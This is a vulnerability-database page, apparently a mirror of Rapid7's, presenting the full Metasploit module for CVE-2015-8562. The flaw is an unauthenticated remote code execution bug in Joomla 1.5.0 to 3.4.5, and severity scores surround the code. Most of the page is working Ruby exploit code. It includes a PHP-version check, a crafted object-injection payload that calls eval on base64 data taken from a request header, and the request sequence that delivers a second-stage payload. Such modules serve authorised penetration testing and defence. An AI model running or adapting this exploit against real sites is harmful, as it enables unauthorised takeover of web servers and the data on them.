Lucene search

K
metasploitMarc-Alexandre Montpas, Christian Mehlmauer <[email protected]>MSF:EXPLOIT-MULTI-HTTP-JOOMLA_HTTP_HEADER_RCE-
HistoryDec 15, 2015 - 5:03 p.m.

Joomla HTTP Header Unauthenticated Remote Code Execution

2015-12-1517:03:36
Marc-Alexandre Montpas, Christian Mehlmauer <[email protected]>
www.rapid7.com
113

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.088 Low

EPSS

Percentile

94.5%

Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it’s possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read from the database. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and 5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Joomla

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
      'Description'    => %q{
          Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
          By storing user supplied headers in the databases session table it's possible to truncate the input
          by sending an UTF-8 character. The custom created payload is then executed once the session is read
          from the database. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
          In later versions the deserialisation of invalid session data stops on the first error and the
          exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and
          5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.
      },
      'Author'	=>
        [
          'Marc-Alexandre Montpas', # discovery
          'Christian Mehlmauer' # metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-8562'],
          ['EDB', '38977'], # PoC from Gary
          ['EDB', '39033'], # Exploit modified to use "X-Forwarded-For" header instead of "User-Agent"
          ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
          ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
          ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
          ['URL', 'https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-the-joomla-0-day-user-agent-exploit/'],
          ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
          ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'],
          ['URL', 'https://bugs.php.net/bug.php?id=70219']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Joomla 1.5.0 - 3.4.5', {}]],
      'DisclosureDate' => '2015-12-14',
      'DefaultTarget'  => 0)
    )

    register_options(
      [
        OptEnum.new('HEADER', [ true,  'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
      ])

    register_advanced_options(
      [
        OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
      ])
  end

  def check
    res = send_request_cgi({'uri' => target_uri.path })

    unless res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    unless res.headers['X-Powered-By']
      vprint_error("Unable to determine the PHP version.")
      return Exploit::CheckCode::Unknown
    end

    online = joomla_and_online?
    unless online
      vprint_error("Unable to detect joomla on #{target_uri.path}")
      return Exploit::CheckCode::Safe
    end

    php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || ''
    version = Rex::Version.new(php_version)
    vulnerable = false

    # check for ubuntu and debian specific versions. Was fixed in
    # * 5.5.9+dfsg-1ubuntu4.13
    # * 5.3.10-1ubuntu3.20
    # * 5.4.45-0+deb7u1
    # Changelogs (search for CVE-2015-6835 or #70219):
    #   http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog
    #   http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog
    #   http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog
    if rest && rest.include?('ubuntu')
      sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || ''
      vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}")

      if version > Rex::Version.new('5.5.9')
        vulnerable = false
      elsif version == Rex::Version.new('5.5.9') && Rex::Version.new(sub_version) >= Rex::Version.new('4.13')
        vulnerable = false
      elsif version == Rex::Version.new('5.3.10') && Rex::Version.new(sub_version) >= Rex::Version.new('3.20')
        vulnerable = false
      else
        vulnerable = true
      end
    elsif rest && rest.include?('+deb')
      sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || ''
      vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}")

      if version > Rex::Version.new('5.4.45')
        vulnerable = false
      elsif version == Rex::Version.new('5.4.45') && sub_version != '7u1'
        vulnerable = false
      else
        vulnerable = true
      end
    else
      vprint_status("Found PHP version #{res.headers['X-Powered-By']}")
      vulnerable = true if version <= Rex::Version.new('5.4.44')
      vulnerable = true if version.between?(Rex::Version.new('5.5.0'), Rex::Version.new('5.5.28'))
      vulnerable = true if version.between?(Rex::Version.new('5.6.0'), Rex::Version.new('5.6.12'))
    end

    unless vulnerable
      vprint_error('This module currently does not work against this PHP version')
      return Exploit::CheckCode::Safe
    end

    j_version = joomla_version
    unless j_version.nil?
      vprint_status("Detected Joomla version #{j_version}")
      return Exploit::CheckCode::Appears if Rex::Version.new(j_version) < Rex::Version.new('3.4.6')
    end

    return Exploit::CheckCode::Detected if online

    Exploit::CheckCode::Safe
  end

  def get_payload(header_name)
    pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
    pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
    pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;"
    post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
    return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{Rex::Text::rand_4byte_utf8}"
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def exploit
    if check == Exploit::CheckCode::Safe && !datastore['FORCE']
      print_error('Target seems safe, so we will not continue.')
      return
    end

    print_status("Sending payload ...")
    header_name = Rex::Text.rand_text_alpha_upper(5)
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => target_uri.path,
      'headers' => { datastore['HEADER'] => get_payload(header_name) }
    })
    fail_with(Failure::Unknown, 'No response') if res.nil?
    session_cookie = res.get_cookies
    send_request_cgi({
      'method'  => 'GET',
      'uri'     => target_uri.path,
      'cookie'  => session_cookie,
      'headers' => {
        header_name => Rex::Text.encode_base64(payload.encoded)
      }
    })
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.088 Low

EPSS

Percentile

94.5%